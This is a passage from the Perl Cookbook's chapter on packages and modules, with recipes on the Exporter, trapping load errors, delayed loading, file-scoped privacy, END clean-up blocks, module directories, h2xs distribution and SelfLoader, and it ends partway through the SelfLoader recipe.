Import/Export Regulations

The following is a typical setup for a hypothetical module named Cards::Poker that demonstrates how to manage its exports. The code goes in the file named Poker.pm within the directory Cards: that is, Cards/Poker.pm. (See Recipe 12.7 for where the Cards directory should reside.) Here's that file, with line numbers included for reference:

1    package Cards::Poker;
2    use Exporter;
3    @ISA = ('Exporter');
4    @EXPORT = qw(&shuffle @card_deck);
5    @card_deck = ();                       # initialize package global
6    sub shuffle { }                        # fill-in definition later
7    1;                                     # don't forget this

Line 1 declares the package that the module will put its global variables and functions in. Typically, a module first switches to a particular package so that it has its own place for global variables and functions, one that won't conflict with that of another program. This must be written exactly as the corresponding use statement will be written when the module is loaded.

Don't say package Poker just because the basename of your file is Poker.pm. Rather, say package Cards::Poker because your users will say use Cards::Poker. This common problem is hard to debug. If you don't make the package and use statements exactly the same, you won't see a problem until you try to call imported functions or access imported variables, which will be mysteriously missing.

Line 2 loads in the Exporter module, which manages your module's public interface as described below. Line 3 initializes the special, per-package array @ISA to contain the word "Exporter". When a user says use Cards::Poker, Perl implicitly calls a special method, Cards::Poker->import(). You don't have an import method in your package, but that's OK, because the Exporter package does, and you're inheriting from it because of the assignment to @ISA (is a). Perl looks at the package's @ISA for resolution of undefined methods. Inheritance is a topic of Chapter 13, Classes, Objects, and Ties. You may ignore it for now - so long as you put code as shown in lines 2 and 3 into each module you write.

Line 4 assigns the list ('&shuffle', '@card_deck') to the special, per-package array @EXPORT. When someone imports this module, variables and functions listed in that array are aliased into the caller's own package. That way they don't have to call the function Poker::Deck::shuffle(23) after the import. They can just write shuffle(23) instead. This won't happen if they load Cards::Poker with require Cards::Poker; only a use imports.

Lines 5 and 6 set up the package global variables and functions to be exported. (We presume you'll actually flesh out their initializations and definitions more than in these examples.) You're free to add other variables and functions to your module as well, including ones you don't put in the public interface via @EXPORT. See Recipe 12.1 for more about using the Exporter.

Finally, line 7 is a simple 1, indicating the overall return value of the module. If the last evaluated expression in the module doesn't produce a true value, an exception will be raised. Trapping this is the topic of Recipe 12.2. Any old true value will do, like 6.02e23 or "Because tchrist and gnat told us to put this here"; however, 1 is the canonical true value used by almost every module.

Packages group and organize global identifiers. They have nothing to do with privacy. Code compiled in package Church can freely examine and alter variables in package State. Package variables are always global and are used for sharing. But that's okay, because a module is more than just a package; it's also a file, and files count as their own scope. So if you want privacy, use lexical variables instead of globals. This is the topic of Recipe 12.4.

Other Kinds of Library Files

A library is a collection of loosely related functions designed to be used by other programs. It lacks the rigorous semantics of a Perl module. The file extension .pl indicates that it's a Perl library file. Examples include syslog.pl and chat2.pl.

Perl libraries - or in fact, any arbitrary file with Perl code in it - can be loaded in using do 'file.pl' or with require 'file.pl'. The latter is preferred in most situations, because unlike do, require does implicit error checking. It raises an exception if the file can't be found in your @INC path, doesn't compile, or if it doesn't return a true value when any initialization code is run. (The last part is what the 1; was for earlier.) Another advantage of require is that it keeps track of which files have already been loaded in the global hash %INC. It doesn't reload the file if %INC indicates that the file has already been read in.

Libraries work well when used by a program, but problems can arise when libraries use one another. Consequently, simple Perl libraries have been rendered mostly obsolete, replaced by the more modern modules. But some programs still use libraries, usually loading them in with require instead of do.

Other file extensions are occasionally seen in Perl. A ".ph" is used for C header files that have been translated into Perl libraries using the h2ph tool, as discussed in Recipe 12.14. A ".xs" indicates an augmented C source file, possibly created by the h2xs tool, which will be compiled by the xsubpp tool and your C compiler into native machine code. This process of creating mixed-language modules is discussed in Recipe 12.15.

So far we've only talked about traditional modules, which export their interface by allowing the caller direct access to particular subroutines and variables. Most modules fall into this category. But some problems - and some programmers - lend themselves to more intricately designed modules, those involving objects. An object-oriented module seldom uses the import-export mechanism at all. Instead, it provides an object-oriented interface full of constructors, destructors, methods, inheritance, and operator overloading. This is the subject of Chapter 13.

Not Reinventing the Wheel

CPAN, the Comprehensive Perl Archive Network, is a gigantic repository of nearly everything about Perl you could imagine, including source, documentation, alternate ports, and above all, modules. Before you write a new module, check with CPAN to see whether one already exists that does what you need. Even if one doesn't, something close enough might give you ideas.

You can access CPAN at http://www.perl.com/CPAN/CPAN.html (or ftp://www.perl.com/pub/perl/CPAN/CPAN.html ). This file briefly describes each of CPAN's modules, but because it's manually edited, it may not always have the very latest modules' descriptions. You can find out about those in the CPAN/RECENT or CPAN/RECENT.html file.

The module directory itself is in CPAN/modules. It contains indices of all registered modules plus three convenient subdirectories: by-module, by-author, and by-category. All modules are available through each of these, but the by-category directory is probably the most useful. There you will find directories covering specific applications areas including operating system interfaces; networking, modems, and interprocess communication; database interfaces; user interfaces; interfaces to other programming languages; authentication, security, and encryption; World Wide Web, HTML, HTTP, CGI, and MIME; images, pixmap and bitmap manipulation, drawing, and graphing - just to name a few.

See Also

The sections on "Packages" and on "Modules" in Chapter 5 of Programming Perl and in perlmod (1)

Previous: 11.15. Program: Binary Trees | Perl Cookbook | Next: 12.1. Defining a Module's Interface
11.15. Program: Binary Trees | Book Index | 12.1. Defining a Module's Interface


Recipe 12.1. Defining a Module's Interface

Perl CookbookSearch this book

12.1. Defining a Module's Interface

Problem

You want the standard Exporter module to define the external interface to your module.

Solution

In module file YourModule.pm, place the following code. Fill in the ellipses as explained in the Discussion section.

package YourModule;
use strict;
use vars qw(@ISA @EXPORT @EXPORT_OK %EXPORT_TAGS $VERSION);

use Exporter;
$VERSION = 1.00;              # Or higher
@ISA = qw(Exporter);

@EXPORT      = qw(...);       # Symbols to autoexport (:DEFAULT tag)
@EXPORT_OK   = qw(...);       # Symbols to export on request
%EXPORT_TAGS = (              # Define names for sets of symbols
    TAG1 => [...],
    TAG2 => [...],
    ...
);

########################
# your code goes here
########################

1;                            # this should be your last line

In other files where you want to use YourModule, choose one of these lines:

use YourModule;               # Import default symbols into my package.
use YourModule qw(...);       # Import listed symbols into my package.
use YourModule ();            # Do not import any symbols
use YourModule qw(:TAG1);     # Import whole tag set

Discussion

The standard Exporter module handles the module's external interface. Although you could define your own import method for your package, almost no one does this.

When someone says use YourModule, this does a require "YourModule.pm" statement followed a YourModule->import() method call, both during compile time. The import method inherited from the Exporter package looks for global variables in your package to govern its behavior. Because they must be package globals, we've declared them with the use vars pragma to satisfy use strict. These variables are:

$VERSION

When a module is loaded, a minimal required version number can be supplied. If the version isn't at least this high, the use will raise an exception.

use YourModule 1.86; # If $VERSION < 1.86, fail

@EXPORT

This array contains a list of functions and variables that will be exported into the caller's own namespace so they can be accessed without being fully qualified. Typically, a qw() list is used.

    @EXPORT = qw(&F1 &F2 @List);
    @EXPORT = qw( F1  F2 @List);        # same thing

When a simple use YourModule call is made, the function &F1 can be called as F1() rather than YourModule::F1() and the array can be accessed as @List instead of @YourModule::List. The ampersand is optional in front of an exported function specification.

To load the module at compile time but request that no symbols be exported, use the special form use Exporter (), with empty parentheses.

@EXPORT_OK

This array contains symbols that can be imported if they're specifically asked for. If the array were loaded this way:

    @EXPORT_OK = qw(Op_Func %Table);

Then the user could load the module like so:

    use YourModule qw(Op_Func %Table F1);

and import only the Op_Func function, the %Table hash, and the F1 function. The F1 function was listed in the @EXPORT array. Notice that this does not automatically import F2 or @List, even though they're in @EXPORT. To get everything in @EXPORT plus extras from @EXPORT_OK, use the special :DEFAULT tag, such as:

    use YourModule qw(:DEFAULT %Table);
%EXPORT_TAGS

This hash is used by large modules like CGI or POSIX to create higher-level groupings of related import symbols. Its values are references to arrays of symbol names, all of which must be in either @EXPORT or @EXPORT_OK. Here's a sample initialization:

    %EXPORT_TAGS = (
        Functions => [ qw(F1 F2 Op_Func) ],
        Variables => [ qw(@List %Table)  ],
);

An import symbol with a leading colon means to import a whole group of symbols. Here's an example:

    use YourModule qw(:Functions %Table);

That pulls in all the symbols from

    @{ $YourModule::EXPORT_TAGS{Functions} },

that is, it pulls in the F1, F2, and Op_Func functions and then the %Table hash.

Although you don't list it in %EXPORT_TAGS, the implicit tag :DEFAULT automatically means everything in @EXPORT.

You don't have to have all those variables defined in your module. You just need the ones that you expect people to be able to use.

See Also

The documentation for the standard Exporter module, also found in Chapter 7 of Programming Perl; Recipe 12.7; Recipe 12.18

Previous: 12.0. Introduction | Perl Cookbook | Next: 12.2. Trapping Errors in require or use
12.0. Introduction | Book Index | 12.2. Trapping Errors in require or use


Recipe 12.2. Trapping Errors in require or use

Perl CookbookSearch this book

12.2. Trapping Errors in require or use

Problem

You need to load in a module that might not be present on your system. This normally results in a fatal exception. You want to detect and trap these failures.

Solution

Wrap the require or use in an eval, and wrap the eval in a BEGIN block:

# no import
BEGIN {
    unless (eval "require $mod") {
        warn "couldn't load $mod: $@";
    }
}

# imports into current package
BEGIN {
    unless (eval "use $mod") {
        warn "couldn't load $mod: $@";
    }
}

Discussion

You usually want a program to fail if it tries to load a module that is missing or doesn't compile. Sometimes, though, you'd like to recover from that error, perhaps trying an alternative module instead. As with any other exception, you insulate yourself from compilation errors with an eval.

You don't want to use eval { BLOCK }, because this only traps run-time exceptions and use is a compile-time event. Instead, you must use eval "string", to catch compile-time problems as well. Remember, require on a bareword has a slightly different meaning than require on a variable. It adds a ".pm" and translates double-colons into your operating system's path separators, canonically / (as in URLs), but sometimes \, :, or even . on some systems.

If you need to try several modules in succession, stopping at the first one that works, you could do something like this:

BEGIN {
    my($found, @DBs, $mod);
    $found = 0;
    @DBs = qw(Giant::Eenie Giant::Meanie Mouse::Mynie Moe);
    for $mod (@DBs) {
        if (eval "require $mod") {
            $mod->import();         # if needed
            $found = 1;
            last;
        }
    }
    die "None of @DBs loaded" unless $found;
}

We wrap the eval in a BEGIN block to ensure the module-loading happens at compile time instead of run time.

See Also

The eval, die, use, and require functions in Chapter 3 of Programming Perl and in perlfunc (1); Recipe 10.12; Recipe 12.3

Previous: 12.1. Defining a Module's Interface | Perl Cookbook | Next: 12.3. Delaying use Until Run Time
12.1. Defining a Module's Interface | Book Index | 12.3. Delaying use Until Run Time


Recipe 12.3. Delaying use Until Run Time

Perl CookbookSearch this book

12.3. Delaying use Until Run Time

Problem

You have a module that you don't need to load each time the program runs, or whose inclusion you wish to delay until after the program starts up.

Solution

Either break up the use into its separate require and import components, or else employ the use autouse pragma.

Discussion

Programs that check their arguments and abort with a usage message on error have no reason to load modules they'll never use. This delays the inevitable and annoys users. But those use statements happen during compilation, not execution, as explained in the Introduction.

Here, an effective strategy is to place argument checking in a BEGIN block before loading the modules. The following is the start of a program that checks to make sure it was called with exactly two arguments, which must be whole numbers, before going on to load the modules it will need:

BEGIN {
    unless (@ARGV == 2 && (2 == grep {/^\d+$/} @ARGV)) {
        die "usage: $0 num1 num2\n";
    }
}
use Some::Module;
use More::Modules;

A related situation arises in programs that don't always use the same set of modules every time they're run. For example, the factors program from Chapter 2, Numbers, needs the infinite precision arithmetic library only when the -b command-line flag is supplied. A use statement would be pointless within a conditional because it's evaluated at compile time, long before the if can be checked. So we'll use a require instead:

if ($opt_b) {
    require Math::BigInt;
}

Because Math::BigInt is an object-oriented module instead of a traditional one, no import was needed. If you have an import list, specify it with a qw() construct as you would with use. For example, rather than this:

use Fcntl qw(O_EXCL O_CREAT O_RDWR);

you might say this instead:

require Fcntl;
Fcntl->import(qw(O_EXCL O_CREAT O_RDWR));

Delaying the import until run time means that the rest of your program will not be subject to any imported semantic changes that the compiler would have seen if you'd used a use. In particular, subroutine prototypes and the overriding of built-in functions will not be seen in time.

You might want to encapsulate this delayed loading in a subroutine. The following deceptively simple approach does not work:

sub load_module {
    require $_[0];  #WRONG
    import  $_[0];  #WRONG
}

It fails for subtle reasons. Imagine calling require with an argument of "Math::BigFloat". If that's a bareword, the double colon is converted into your operating system's path separator and a trailing .pm is added. But as a simple variable, it's a literal filename. Worse, Perl doesn't have a built-in import function. Instead, there's a class method named import that we're using the dubious indirect object syntax on. As with indirect filehandles, you can't use indirect objects on anything but a plain scalar variable, or a bareword or a block returning the object, not an expression or one element from an array or hash.

A better implementation might look more like:

load_module('Fcntl', qw(O_EXCL O_CREAT O_RDWR));

sub load_module {
    eval "require $_[0]";
    die if $@;
    $_[0]->import(@_[1 .. $#_]);
}

But this still isn't perfectly correct in the general case. It really shouldn't import those symbols into its own package. It should put them into its caller's package. We could account for this, but the whole procedure is getting increasingly messy.

A convenient alternative is the use autouse pragma. New as of Perl 5.004, this directive can save time on infrequently loaded functions by delaying their loading until they're actually used:

use autouse Fcntl => qw( O_EXCL() O_CREAT() O_RDWR() );

We put parentheses after O_EXCL , O_CREAT , and O_RDWR when we autoused them but not when we used them or imported them. The autouse pragma doesn't just take function names, it can also take a prototype for the function. The Fcntl constants are prototyped to take no arguments, so we can use them as barewords in our program without use strict kvetching.

Remember, too, that use strict's checks take place at compile time. If we use Fcntl, the prototypes in the Fcntl module will be compiled and we can use the constants without parentheses. If we require or wrap the use in an eval, as we did earlier, we prevent the compiler from reading the prototypes, so we can't use the Fcntl constants without parentheses.

Read the autouse pragma's online documentation to learn its various caveats and provisos.

See Also

Recipe 12.2; the discussion on the import method in the documentation for the standard Exporter module, also found in Chapter 7 of Programming Perl; the documentation for the standard use autouse pragma

Previous: 12.2. Trapping Errors in require or use | Perl Cookbook | Next: 12.4. Making Variables Private to a Module
12.2. Trapping Errors in require or use | Book Index | 12.4. Making Variables Private to a Module


Recipe 12.4. Making Variables Private to a Module

Perl CookbookSearch this book

12.4. Making Variables Private to a Module

Problem

You want to make a variable or function private to a package.

Solution

You can't. But you can make them private to the file that the module sits in, which usually suffices.

Discussion

Remember that a package is just a way of grouping variables and functions together, conferring no privacy. Anything in a package is by definition global and accessible from anywhere. Packages only group; they don't hide.

For privacy, only lexical variables will do. A module is implemented in a Module.pm, with all its globals in the package named Module. Because that whole file is by definition a scope and lexicals are private to a scope, creating file-scoped lexicals is effectively the same thing as a module-private variable.

If you alternate packages within a scope, though, you may be surprised that the scope's lexicals are visible no matter where you are. That's because a package statement only sets a different prefix for a global identifier.

package Alpha;
my $aa = 10;
   $x = "azure";

package Beta;
my $bb = 20;
   $x = "blue";

package main;
print "$aa, $bb, $x, $Alpha::x, $Beta::x\n";
10, 20, , azure, blue

Was that the output you expected? The two lexicals, $aa and $bb, are still in scope because we haven't left the current block, file, or eval. You might think of globals and lexicals as existing in separate dimensions, forever unrelated to each other. Package statements have nothing to do with lexicals. By setting the current prefix, the first global variable $x is really $Alpha::x, whereas the second $x is now $Beta::x because of the intervening package statement changing the default prefix. Package identifiers, if fully qualified, can be accessed from anywhere, as we've done in the print statement.

So, packages can't have privacy - but modules can because they're in a file, which is always its own scope. Here's a simple module, placed in the file Flipper.pm, that exports two functions, flip_words and flip_boundary. The module provides code to reverse words in a line, and to change the definition of a word boundary.

# Flipper.pm
package Flipper;
use strict;

require Exporter;
use vars qw(@ISA @EXPORT $VERSION);
@ISA     = qw(Exporter);
@EXPORT  = qw(flip_words flip_boundary);
$VERSION = 1.0;

my $Separatrix = ' ';  # default to blank; must precede functions

sub flip_boundary {
    my $prev_sep = $Separatrix;
    if (@_) { $Separatrix = $_[0] }
    return $prev_sep;
}
sub flip_words {
    my $line  = $_[0];
    my @words = split($Separatrix, $line);
    return join($Separatrix, reverse @words);
}
1;

This module sets three package variables needed by the Exporter and also initializes a lexical variable at file level called $Separatrix. Again, this variable is private to the file, not to the package. All code beneath its declaration in the same scope (or nested within that scope, as are the functions' blocks) can see $Separatrix perfectly. Even though they aren't exported, global variables could be accessed using the fully qualified name, as in $Flipper::VERSION.

A scope's lexicals cannot be examined or tinkered with from outside that scope, which in this case is the entire file below their point of declaration. You cannot fully qualify lexicals or export them either; only globals can be exported. If someone outside the module needs to look at or change the file's lexicals, they must ask the module itself. That's where the flip_boundary function comes into play, allowing indirect access to the module's private parts.

This module would work the same even if its $Separatrix variable were a package global rather than a file lexical. Someone from the outside could theoretically play with it without the module realizing this. On the other hand, if they really want to that badly, perhaps you should let them do so. Peppering your module with file-scoped lexicals is not necessary. You already have your own namespace (Flipper, in this case) where you can store all the identifiers you want. That's what it's there for, after all. Good Perl programming style nearly always avoids fully qualified identifiers.

Speaking of style, the case of identifiers used in the Flipper module was not random. Following the Perl style guide, identifiers in all capitals are reserved for those with special meaning to Perl itself. Functions and local variables are all lowercase. The module's persistent variables (either file lexicals or package globals) are capitalized. Identifiers with multiple words have each of these separated by an underscore to make it easier to read. Please don't use mixed capitals without underscores - you wouldn't like reading this book without spaces, either.

See Also

The discussion on file-scoped lexicals in perlmod (1); the "Scoped Declarations" section in Chapter 2 of Programming Perl; the section on "Programming with Style" in Chapter 8 of Programming Perl or perlstyle (1); Recipe 10.2; Recipe 10.3

Previous: 12.3. Delaying use Until Run Time | Perl Cookbook | Next: 12.5. Determining the Caller's Package
12.3. Delaying use Until Run Time | Book Index | 12.5. Determining the Caller's Package


Recipe 12.5. Determining the Caller's Package

Perl CookbookSearch this book

12.5. Determining the Caller's Package

Problem

You need to find out the current or calling package.

Solution

To find the current package:

$this_pack = __PACKAGE__;

To find the caller's package:

$that_pack = caller();

Discussion

The __PACKAGE__ symbol returns the package that the code is currently being compiled into. This doesn't interpolate into double-quoted strings:

print "I am in package __PACKAGE__\n";              # WRONG!
I am in package __PACKAGE__

Needing to figure out the caller's package arose more often in older code that received as input a string of code to be evaluated, or a filehandle, format, or directory handle name. Consider a call to a hypothetical runit function:

package Alpha;
runit('$line = <TEMP>');

package Beta;
sub runit {
    my $codestr = shift;
    eval $codestr;
    die if $@;
}

Because runit was compiled in a different package than was currently executing, when the eval runs, it will act as though it were passed $Beta::line and Beta::TEMP. The old workaround was to include your caller's package first:

package Beta;
sub runit {
    my $codestr = shift;
    my $hispack = caller;
    eval "package $hispack; $codestr";
    die if $@;
}

That approach only works when $line is a global variable. If it's lexical, that won't help at all. Instead, arrange for runit to accept a reference to a subroutine:

package Alpha;
runit( sub { $line = <TEMP> } );

package Beta;
sub runit {
    my $coderef = shift;
    &$coderef();
}

This not only works with lexicals, it has the added benefit of checking the code's syntax at compile time, which is a major win.

If all that's being passed in is a filehandle, it's more portable to use the Symbol::qualify function. This function takes a name and package to qualify the name into. If the name needs qualification, it fixes it; otherwise, it's left alone. But that's considerably less efficient than a * prototype.

Here's an example that reads and returns n lines from a filehandle. The function qualifies the handle before working with it.

open (FH, "< /etc/termcap")
    or die "can't open /etc/termcap: $!";
($a, $b, $c) = nreadline(3, 'FH');

use Symbol ();
use Carp;
sub nreadline {
    my ($count, $handle) = @_;
    my(@retlist,$line);

    croak "count must be > 0" unless $count > 0;
    $handle = Symbol::qualify($handle, (caller())[0]);
    croak "need open filehandle" unless defined fileno($handle);

    push(@retlist, $line) while defined($line = <$handle>) && $count--;
    return @retlist;
}

If everyone who called your nreadline function passed in the filehandle as a typeglob *FH, as a glob reference \*FH, or using FileHandle or IO::Handle objects, you wouldn't need to do this. It's only the possibility of a bare "FH" that requires qualification.

See Also

The documentation for the standard Symbol module, also found in Chapter 7 of Programming Perl; the descriptions of the special symbols __FILE__ , __LINE__ , and __PACKAGE__ in perldata (1); Recipe 12.12

Previous: 12.4. Making Variables Private to a Module | Perl Cookbook | Next: 12.6. Automating Module Clean-Up
12.4. Making Variables Private to a Module | Book Index | 12.6. Automating Module Clean-Up


Recipe 12.6. Automating Module Clean-Up

Perl CookbookSearch this book

12.6. Automating Module Clean-Up

Problem

You need to create setup code and clean-up code for a module that gets called automatically, without user intervention.

Solution

For setup code, put executable statements outside subroutine definitions in the module file. For clean-up code, use an END subroutine in that module.

Discussion

In some languages, the programmer must call a module's initialization code before any of that module's regular functions can be safely accessed. Similarly, when the program is done, the programmer may have to call module-specific finalization code.

Not so in Perl. For per-module initialization code, executable statements outside of any subroutines in your module suffice. When the module is loaded in, that code runs right then and there. The user never has to remember to do this, because it's done automatically.

Now, why would you want automatic clean-up code? It depends on the module. You might want to write a shutdown message to a logfile, tell a database server to commit any pending state, refresh a screen, or return the tty to its original state.

Suppose you want a module to log quietly whenever a program using it starts up or finishes. Add code in an END subroutine to run after your program finishes:

$Logfile = "/tmp/mylog" unless defined $Logfile;
open(LF, ">>$Logfile")
    or die "can't append to $Logfile: $!";
select(((select(LF), $|=1))[0]);  # unbuffer LF
logmsg("startup");

sub logmsg {
    my $now = scalar gmtime;
    print LF "$0 $$ $now: @_\n"
        or die "write to $Logfile failed: $!";
}

END {
    logmsg("shutdown");
    close(LF)
        or die "close $Logfile failed: $!";
}

The first part of code, outside any subroutine declaration, is executed at module load time. The module user doesn't have to do anything special to make this happen. Someone might be unpleasantly surprised, however, if the file can't be accessed, since the die would make the use or require fail.

END routines work like exit handlers, such as trap 0 in the shell, atexit in C programming, or global destructors or finalizers in object-oriented languages. All the ENDs in a program are run in the opposite order that they were loaded; that is, last seen, first run. These get called whether the program finishes through normal process termination by implicitly reaching the end of your main program, through an explicit call to the exit function, or via an uncaught exception such as die or a mistake involving division by zero.

Uncaught signals are a different matter, however. Death by signal does not run your exit handlers. The following pragma takes care of them:

use sigtrap qw(die normal-signals error-signals);

END also isn't called when a process polymorphs itself via the exec function because you are still in the same process, just a different program. All normal process attributes remain, like process ID and parent PID, user and group IDs, umask, current directory, environment variables, resource limits and accumulated statistics, open file descriptors (however, see the $^F variable in perlvar (1) or Camel:2). If it didn't work this way, exit handlers would execute redundantly in programs managing fork and exec manually. This would not be good.

See Also

The standard use sigtrap pragma, also in Chapter 7 of Programming Perl; the section on "Package Constructors and Destructors" in Chapter 5 of Programming Perl and in perlmod (1); the $^F variable in the section on "Special Global Variables" in Chapter 2 of Programming Perl and in perldata (1); the fork and exec functions in Chapter 3 of Programming Perl and in perlmod (1)

Previous: 12.5. Determining the Caller's Package | Perl Cookbook | Next: 12.7. Keeping Your Own Module Directory
12.5. Determining the Caller's Package | Book Index | 12.7. Keeping Your Own Module Directory


Recipe 12.7. Keeping Your Own Module Directory

Perl CookbookSearch this book

12.7. Keeping Your Own Module Directory

Problem

You don't want to install your own personal modules in the standard per-system extension library.

Solution

You have several choices: use Perl's -I command line switch; set your PERL5LIB environment variable; or employ the use lib pragma, possibly in conjunction with the FindBin module.

Discussion

The @INC array contains a list of directories that are consulted every time a do, require, or use compiles code from another file, library, or module. You can print these out easily from the command line:

% perl -e 'for (@INC) { printf "%d %s\n", $i++, $_ }'
0 /usr/local/perl/lib/i686-linux/5.004
1 /usr/local/perl/lib
2 /usr/local/perl/lib/site_perl/i686-linux
3 /usr/local/perl/lib/site_perl
4 .

The first two directories, elements 0 and 1 of @INC, are the standard architecture-dependent and architecture-independent directories, which all standard libraries, modules, and pragmas will go into. You have two of them because some modules contain information or formatting that makes sense only on that particular architecture. For example, the Config module contains information that cannot be shared across several architectures, so it goes in the 0th array element. Modules that include compiled C components, such as Socket.so, are also placed there. Most modules, however, go in the platform-independent directory in the 1st element.

The next pair, elements 2 and 3 above, fulfills roles analogous to elements 0 and 1, but on a site-specific basis. Suppose you have a module that didn't come with Perl, like a module from CPAN or one you wrote yourself. When you or (more likely) your system administrator installs this module, its components go into one of the site-specific directories. You are encouraged to use these for any modules that your entire site should be able to access conveniently.

The last standard component, "." (your current working directory), is useful only when developing and testing your software, not when deploying it. If your modules are in the same directory that you last chdired to, you're fine. If you're anywhere else, it doesn't work.

So sometimes none of the @INC directories work out. Maybe you have your own personal modules. Perhaps your project group has particular modules that are relevant only to that project. In these cases, you need to augment the standard @INC search.

The first approach involves using a command-line flag, -I dirlist. The dirlist is a colon-separated[1] list of one or more directories, which will be prepended to the front of the @INC array. This works well for simple command lines, and thus can be used on a per-command basis, such as when you call a quick one-liner from a shell script.

[1] Comma-separated on MacOS.

This technique should not be included in the #! (pound-bang) line. First, it's not much fun to modify each program. More importantly, some older operating systems have bugs related to how long that line can be, typically 32 characters, including the #! part. That means if you have a very long path, such as #!/opt/languages/free/extrabits/perl, you may get the mysterious "Command not found" error. Perl does its best to rescan the line manually, but it's still too dicey to rely on.

Often, a better solution is to set the PERL5LIB environment variable. This can be done in your shell start-up file. Or, your system administrator may want to do so in a systemwide start-up file so all users can benefit. For example, suppose you have all your own modules in a directory called ~/perllib. You would place one of the following lines in your shell start-up file, depending on which shell you use:

# syntax for sh, bash, ksh, or zsh
$ export PERL5LIB=$HOME/perllib

# syntax for csh or tcsh
% setenv PERL5LIB ~/perllib

Probably the most convenient solution from your users' perspective is for you to add a use lib pragma near the top of your script. That way the users of the program don't need to take any special action to run your program. Imagine a hypothetical project called Spectre whose programs rely on its own set of libraries. Those programs could have a statement like this at their start:

use lib "/projects/spectre/lib";

What happens when you don't know the exact path to the library? Perhaps you've allowed the whole project to be installed in an arbitrary path. You could create an elaborate installation procedure to dynamically update the script, but even if you did, paths would still be frozen at installation time. If someone moved the files later, the libraries wouldn't be found.

The FindBin module conveniently solves this problem. This module tries to compute the full path to the executing script's enclosing directory, setting an importable package variable called $Bin to that directory. Typical usage is either to look for modules in the same directory as the program or in a lib directory at the same level.

To demonstrate the first case, suppose you have a program called /wherever/spectre/myprog that needs to look in /wherever/spectre for its modules, but you don't want to hardcode that path.

use FindBin;
use lib $FindBin::Bin;

The second case would be used if your program lives in /wherever/spectre/bin/myprog but needs to look at /wherever/spectre/lib for its modules.

use FindBin qw($Bin);
use lib "$Bin/../lib";

See Also

The documentation for the standard use lib pragma and the standard FindBin module; the discussion of the PERL5LIB environment in perl (1); your shell's syntax for setting environment variables

Previous: 12.6. Automating Module Clean-Up | Perl Cookbook | Next: 12.8. Preparing a Module for Distribution
12.6. Automating Module Clean-Up | Book Index | 12.8. Preparing a Module for Distribution


Recipe 12.8. Preparing a Module for Distribution

Perl CookbookSearch this book

12.8. Preparing a Module for Distribution

Problem

You want to prepare your module in standard distribution format so you can easily send your module to a friend. Better yet, you plan to contribute your module to CPAN so everyone can use it.

Solution

It's best to start with Perl's standard h2xs tool. Let's say you want to make a Planets module or an Astronomy::Orbits module. You'd type:

% h2xs -XA -n Planets
% h2xs -XA -n Astronomy::Orbits

These commands make subdirectories called . /Planets/ and . /Astronomy/Orbits/ respectively, where you will find all the components you need to get you started. The -n flag names the module you want to make, -X suppresses creation of XS (external subroutine) components, and -A means the module won't use the AutoLoader.

Discussion

Writing modules is easy - once you know how. Writing a proper module is like filling out a legal contract: it's full of places to initial, sign, and date exactly right. If you miss any, it's not valid. Instead of hiring a contract lawyer, you can get a quick start on writing modules using the h2xs program. This tool gives you a skeletal module file with all the right parts filled in, and it also gives you the other files needed to correctly install your module and its documentation or to bundle it up for inclusion in CPAN or sending off to a friend.

h2xs is something of a misnomer because XS is Perl's external subroutine interface for linking with C or C ++. But the h2xs tool is also extremely convenient for preparing a distribution even when you aren't using the XS interface.

Let's look at one of the modules file that h2xs has made. Because the module is to be called Astronomy::Orbits, the user will specify not use Orbits but rather use Astronomy::Orbits. Therefore an extra Astronomy subdirectory is made, in which an Orbits directory is placed. Here is the first and perhaps most important line of Orbit.pm:

package Astronomy::Orbits;

This sets the package - the default prefix - on all global identifiers (variables, functions, filehandles, etc.) in the file. Therefore a variable like @ISA is really the global variable @Astronomy::Orbits::ISA.

As we said in the Introduction, you must not make the mistake of saying package Orbits because it's in the file Orbits.pm. The package statement in the module must be exactly match the target of the use or require statement, which means the leading directory portion needs to be there and the characters' case must be the same. Furthermore, it must be installed in an Astronomy subdirectory. The h2xs command will set this all up properly, including the installation rule in the Makefile. But if you're doing this by hand, you must keep this in mind. See Recipe 12.1 for that.

If you plan to use autoloading, described in Recipe 12.10, omit the -A flag to h2xs, which produces lines like this:

require Exporter;
require AutoLoader;
@ISA = qw(Exporter AutoLoader);

If your module is bilingual in Perl and C as described in Recipe 12.15, omit the -X flag to h2xs to produce lines like this:

require Exporter;
require DynaLoader;
@ISA = qw(Exporter DynaLoader);

Following this is the Exporter's variables as explained in Recipe 12.1. If you're writing an object-oriented module as described in Chapter 13, you probably won't use the Exporter at all.

That's all there is for setup. Now, write your module code. When you're ready to ship it off, use the make dist directive from your shell to bundle it all up into a tar archive for easy distribution. (The name of the make program may vary from system to system.)

% make dist

This will leave you with a file whose name is something like Astronomy-Orbits-1.03.tar.Z.

To register as a CPAN developer, check out http://www.perl.com/CPAN/modules/04pause.html.

See Also

http://www.perl.com/CPAN to find a mirror near you and directions for submission; h2xs (1); the documentation for the standard Exporter, AutoLoader, AutoSplit, and ExtUtils::MakeMaker modules, also found in Chapter 7 of Programming Perl

Previous: 12.7. Keeping Your Own Module Directory | Perl Cookbook | Next: 12.9. Speeding Module Loading with SelfLoader
12.7. Keeping Your Own Module Directory | Book Index | 12.9. Speeding Module Loading with SelfLoader


Recipe 12.9. Speeding Module Loading with SelfLoader

Perl CookbookSearch this book

12.9. Speeding Module Loading with SelfLoader

Problem

You'd like to load a very large module quickly.

Solution

Use the SelfLoader module:

require Exporter;
require SelfLoader;
@ISA = qw(Exporter SelfLoader);
#
# other initialization or declarations here
#
__DATA__
sub abc { .... }
sub def { .... }

Discussion

When you load a module using require or use, the entire module file must be read and compiled (into internal parse trees, not into byte code or native machine code) right then. For very large modules, this annoying delay is unnecessary if you need only a few functions from a particular file.

To address this problem, the SelfLoader module delays compilation of each subroutine until it is actually called. SelfLoader is easy to use: just place your module's subroutines underneath the __DATA__ marker so the compiler will ignore them, use a require to pull in the SelfLoader, and include SelfLoader in the module's @ISA array. That's all there is to it. When your module is loaded, the SelfLoader creates stub functions for all the routines below __DATA__. The first time a function gets called, the stub replaces itself by compiling the real function and then calling it.

There is one significant restriction on modules that employ the SelfLoader (or the AutoLoader for that matter, which is described in Recipe 12.10). SelfLoaded or AutoLoaded subroutines have no access to lexical variables in the file whose __DATA__ block they are in because they are compiled via eval in an imported AUTOLOAD block. Such dynamically generated subroutines are therefore compiled in the scope of SelfLoader's or AutoLoader's AUTOLOAD.

Whether using the SelfLoader helps or hinders performance depends on how many subroutines the module has, how large they are, and whether they'll all end up getting called over the lifetime of the program or not.

You should initially develop and test your module without the SelfLoader. Commenting out the __DATA__ line will take care of that, allowing those functions to be visible at compile time.

See Also

